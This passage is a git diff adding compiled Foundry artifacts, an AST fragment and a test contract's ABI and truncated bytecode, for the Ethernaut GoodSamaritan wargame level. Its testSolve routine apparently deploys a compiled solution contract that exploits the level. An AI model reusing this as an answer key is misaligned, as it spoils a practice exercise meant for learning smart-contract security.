Coin"}},"id":53318,"nodeType":"ExpressionStatement","src":"2480:12:87"}]},"functionSelector":"82e46b75","implemented":true,"kind":"function","modifiers":[{"id":53313,"kind":"modifierInvocation","modifierName":{"id":53312,"name":"onlyOwner","nameLocations":["2460:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2460:9:87"},"nodeType":"ModifierInvocation","src":"2460:9:87"}],"name":"setCoin","nameLocation":"2431:7:87","parameters":{"id":53311,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53310,"mutability":"mutable","name":"coin_","nameLocation":"2444:5:87","nodeType":"VariableDeclaration","scope":53320,"src":"2439:10:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53309,"nodeType":"UserDefinedTypeName","pathNode":{"id":53308,"name":"Coin","nameLocations":["2439:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"2439:4:87"},"referencedDeclaration":53225,"src":"2439:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"internal"}],"src":"2438:12:87"},"returnParameters":{"id":53314,"nodeType":"ParameterList","parameters":[],"src":"2470:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Wallet","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53321],"name":"Wallet","nameLocation":"1642:6:87","scope":53328,"usedErrors":[53232,53234],"usedEvents":[]},{"id":53327,"nodeType":"ContractDefinition","src":"2503:71:87","nodes":[{"id":53326,"nodeType":"FunctionDefinition","src":"2531:41:87","nodes":[],"functionSelector":"98d078b4","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"2540:6:87","parameters":{"id":53324,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53323,"mutability":"mutable","name":"amount","nameLocation":"2555:6:87","nodeType":"VariableDeclaration","scope":53326,"src":"2547:14:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53322,"name":"uint256","nodeType":"ElementaryTypeName","src":"2547:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2546:16:87"},"returnParameters":{"id":53325,"nodeType":"ParameterList","parameters":[],"src":"2571:0:87"},"scope":53327,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"INotifyable","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[53327],"name":"INotifyable","nameLocation":"2513:11:87","scope":53328,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":87} \ No newline at end of file diff --git a/contracts/out/GoodSamaritan.t.sol/TestGoodSamaritan.json b/contracts/out/GoodSamaritan.t.sol/TestGoodSamaritan.json new file mode 100644 index 000000000..dd4ebd4e5 --- /dev/null +++ b/contracts/out/GoodSamaritan.t.sol/TestGoodSamaritan.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616e51806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b98565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bdb565b620001b3620001fa36600462001cc7565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d9a565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e5d565b620001da6200025736600462001f2a565b62000ef8565b6200019a62001088565b6200027162001235565b604051620001c7919062001f42565b620001b36200029136600462001fa8565b6200130a565b6200023762001429565b620002b8620002b236600462001fc6565b62001523565b6040519015158152602001620001c7565b62000271620016b3565b6200019a62001788565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001821565b620001da620018f5565b6200019a6200032f36600462001f2a565b62001955565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762002002565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002002565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200130a565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b3d565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620020a3565b9050806001825162000982919062002233565b8151811062000995576200099562002002565b60200260200101515f0151600281518110620009b557620009b562002002565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002249565b90505f81848560405160200162000acd9291906200229b565b60408051601f198184030181529082905262000aed929160200162002349565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b519085906004016200237b565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002249565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019c990919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b906200238f565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb9906200238f565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c29565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023c9565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62002002565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b5050505060215f9054906101000a90046001600160a01b03166001600160a01b031663251436386040518163ffffffff1660e01b81526004016020604051808303815f875af115801562001148573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200116e9190620023e7565b506021546040515f916001600160a01b0316906200118c9062001b4b565b6001600160a01b039091168152602001604051809103905ff080158015620011b6573d5f803e3d5ffd5b509050806001600160a01b0316639e5faafc6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620011f2575f80fd5b505af115801562001205573d5f803e3d5ffd5b50506020546021546200123293506200122c92506001600160a01b03918216911662001523565b62001a6b565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f2001805462001278906200238f565b80601f0160208091040260200160405190810160405280929190818152602001828054620012a6906200238f565b8015620012f55780601f10620012cb57610100808354040283529160200191620012f5565b820191905f5260205f20905b815481529060010190602001808311620012d757829003601f168201915b50505050508152602001906001019062001258565b5f806040516200131a9062001b59565b604051809103905ff08015801562001334573d5f803e3d5ffd5b5090505f604051620013469062001b67565b604051809103905ff08015801562001360573d5f803e3d5ffd5b508483604051620013719062001b75565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013ab573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200140a575f80fd5b505af11580156200141d573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200150a57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014b65790505b505050505081525050815260200190600101906200144c565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200157f575f80fd5b505af115801562001592573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015f0575f80fd5b505af115801562001603573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001667573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016909190810190620020a3565b9050600181511115620016a8576001915050620016ad565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016f6906200238f565b80601f016020809104026020016040519081016040528092919081815260200182805462001724906200238f565b8015620017735780601f10620017495761010080835404028352916020019162001773565b820191905f5260205f20905b8154815290600101906020018083116200175557829003601f168201915b505050505081526020019060010190620016d6565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017df575f80fd5b505af1158015620017f2573d5f803e3d5ffd5b50506020546021546200181f93506200181992506001600160a01b03918216911662001523565b62001aea565b565b6008545f9060ff161562001839575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018c8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018ee919062002408565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001962824362002420565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a20908690869060040162002436565b5f60405180830381865afa15801562001a3b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a64919081019062002467565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ad0575f80fd5b505afa15801562001ae3573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ab9565b61105f806200249e83390190565b61021680620034fd83390190565b610ae5806200371383390190565b611e7a80620041f883390190565b610daa806200607283390190565b6001600160a01b038116811462001232575f80fd5b5f805f6060848603121562001bab575f80fd5b833562001bb88162001b83565b9250602084013562001bca8162001b83565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c1d5783516001600160a01b03168352928401929184019160010162001bf6565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c635762001c6362001c29565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c955762001c9562001c29565b604052919050565b5f67ffffffffffffffff82111562001cb95762001cb962001c29565b50601f01601f191660200190565b5f6020828403121562001cd8575f80fd5b813567ffffffffffffffff81111562001cef575f80fd5b8201601f8101841362001d00575f80fd5b803562001d1762001d118262001c9d565b62001c69565b81815285602083850101111562001d2c575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d6557818101518382015260200162001d4b565b50505f910152565b5f815180845262001d8681602086016020860162001d49565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e4e57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e3757605f1988850301835262001e2484865162001d6d565b948d01949350918c019160010162001e05565b505050968901969350509087019060010162001dbf565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f1c57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f065783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001ec2565b5096890196945050509086019060010162001e84565b509098975050505050505050565b5f6020828403121562001f3b575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f9b57603f1988860301845262001f8885835162001d6d565b9450928501929085019060010162001f69565b5092979650505050505050565b5f6020828403121562001fb9575f80fd5b813562001a648162001b83565b5f806040838503121562001fd8575f80fd5b823562001fe58162001b83565b9150602083013562001ff78162001b83565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002032576200203262001c29565b5060051b60200190565b5f6200204c62001d118462001c9d565b905082815283838301111562002060575f80fd5b62001a6483602083018462001d49565b5f82601f83011262002080575f80fd5b62001a64838351602085016200203c565b80516200209e8162001b83565b919050565b5f6020808385031215620020b5575f80fd5b825167ffffffffffffffff80821115620020cd575f80fd5b818501915085601f830112620020e1575f80fd5b8151620020f262001d118262002016565b81815260059190911b8301840190848101908883111562002111575f80fd5b8585015b8381101562002212578051858111156200212d575f80fd5b86016060818c03601f1901121562002143575f80fd5b6200214d62001c3d565b88820151878111156200215e575f80fd5b8201603f81018d136200216f575f80fd5b898101516200218262001d118262002016565b81815260059190911b8201604001908b8101908f831115620021a2575f80fd5b6040840193505b82841015620021c45783518252928c0192908c0190620021a9565b8452505050604082015187811115620021db575f80fd5b620021eb8d8b8386010162002070565b8a83015250620021fe6060830162002091565b604082015284525091860191860162002115565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016ad57620016ad6200221f565b5f602082840312156200225a575f80fd5b815167ffffffffffffffff81111562002271575f80fd5b8201601f8101841362002282575f80fd5b62002293848251602084016200203c565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022d481600585016020880162001d49565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200231381600a84016020880162001d49565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200235c81846020880162001d49565b8351908301906200237281836020880162001d49565b01949350505050565b602081525f62001a64602083018462001d6d565b600181811c90821680620023a457607f821691505b602082108103620023c357634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023da575f80fd5b815162001a648162001b83565b5f60208284031215620023f8575f80fd5b8151801515811462001a64575f80fd5b5f6020828403121562002419575f80fd5b5051919050565b80820180821115620016ad57620016ad6200221f565b604081525f6200244a604083018562001d6d565b82810360208401526200245e818562001d6d565b95945050505050565b5f6020828403121562002478575f80fd5b815167ffffffffffffffff8111156200248f575f80fd5b62002293848285016200207056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610fe58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461041c565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461043e565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461041c565b6102a6565b61011461033b565b61011d5f610394565b565b5f60405161012c906103fb565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b03166311df99956040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b19190610475565b6001600160a01b03166327e235e3826001600160a01b031663521eb2736040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061021f9190610475565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d9190610490565b15949350505050565b6102ae61033b565b6001600160a01b03811661032f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61033881610394565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610326565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610b08806104a883390190565b6001600160a01b0381168114610338575f80fd5b5f6020828403121561042c575f80fd5b813561043781610408565b9392505050565b5f806040838503121561044f575f80fd5b823561045a81610408565b9150602083013561046a81610408565b809150509250929050565b5f60208284031215610485575f80fd5b815161043781610408565b5f602082840312156104a0575f80fd5b505191905056fe608060405234801561000f575f80fd5b5060405161001c906100ff565b604051809103905ff080158015610035573d5f803e3d5ffd5b505f80546001600160a01b0319166001600160a01b039290921691821790556040516100609061010c565b6001600160a01b039091168152602001604051809103905ff080158015610089573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039283169081179091555f546040516382e46b7560e01b815260